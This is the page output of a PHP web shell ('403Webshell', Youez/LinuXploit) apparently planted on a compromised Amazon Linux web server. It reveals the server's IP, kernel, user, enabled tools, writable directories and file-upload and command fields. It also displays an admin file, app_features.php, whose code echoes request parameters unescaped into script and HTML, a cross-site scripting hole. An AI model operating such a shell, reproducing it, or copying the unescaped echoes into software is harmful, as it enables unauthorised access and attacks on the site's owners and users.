403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/mod/app_features.php
<?php require('_mod_security.php'); ?>
<?php
	form_prep('locations', 'basic_info', 'frm_features');
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';

	function toggle_feature_locally(feature, off_on) {
		var days;
		if (off_on == 'on') {
			days = 90;
		} else  {
			days = -90;
		}
		setCookie(feature, 'true', days);
		alert('Local feature ' + feature + ' has been turned ' + off_on);
		location.reload(true);
	}

	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
	})
</script>

<h1>Application Features</h1>
<?php echo form_message($form_message); ?>

<form name="frm_features" id="frm_features" method="post" action="">
	<input name="form_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php
		form_button_strip('top', [
			'save' => ['show' => false],
			'save_as' => ['show' => false],
			'save_close' => ['show' => false],
			'save_new' => ['show' => false],
			'cancel'=>['show' => true, 'caption' => 'Cancel', 'js' => "sheet_dirty = false; window.location.href = 'index.php?IX=events';"],
		]);
		form_tab_strip_start();
		form_tab_header('basic_info', 'Basic Info', 'admin');
		form_tab_strip_end();
		//******************************************************************************************
		form_tab_start('basic_info', 'Basic Info');

		form_column_start('max-width:500px;');
		if (!defined('APP_FEATURE_FLAGS')) :
			echo '<h2>No application features available.</h2>';
		else :
			echo '<table style="width:100%;">';
			echo '<tr><th>Feature</th><th>Enabled Globally</th><th>Enabled Locally</th><th>Toggle Locally</th></tr>';
			foreach (APP_FEATURE_FLAGS as $feature => $enabled_globally) :
				$enabled_locally = strtolower($_COOKIE[$feature] ?? '') === 'true';
				echo '<tr>';
				echo '<td>' . $feature . '</td>';
				echo '<td>' . ($enabled_globally ? 'Yes' : 'No') . '</td>';
				echo '<td>' . ($enabled_locally || $enabled_globally ? 'Yes' : 'No') . '</td>';
				if (!$enabled_globally) :
					if (!$enabled_locally) :
						echo '<td><button type="button" onclick="toggle_feature_locally(\'' . $feature . '\', \'on\')">Enable Locally</button></td>';
					else :
						echo '<td><button type="button" onclick="toggle_feature_locally(\'' . $feature . '\', \'off\')">Disable Locally</button></td>';
					endif;
				else :
					echo '<td>N/A</td>';
				endif;
				echo '</tr>';
			endforeach;
			echo '</table>';
		endif;
		form_column_end();

		form_tab_end();

		//******************************************************************************************

		form_button_strip('bottom', [
			'save' => ['show' => false],
			'save_as' => ['show' => false],
			'save_close' => ['show' => false],
			'save_new' => ['show' => false],
			'cancel'=>['show' => true, 'caption' => 'Cancel', 'js' => "sheet_dirty = false; window.location.href = 'index.php?IX=events';"],
		], false);
	?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit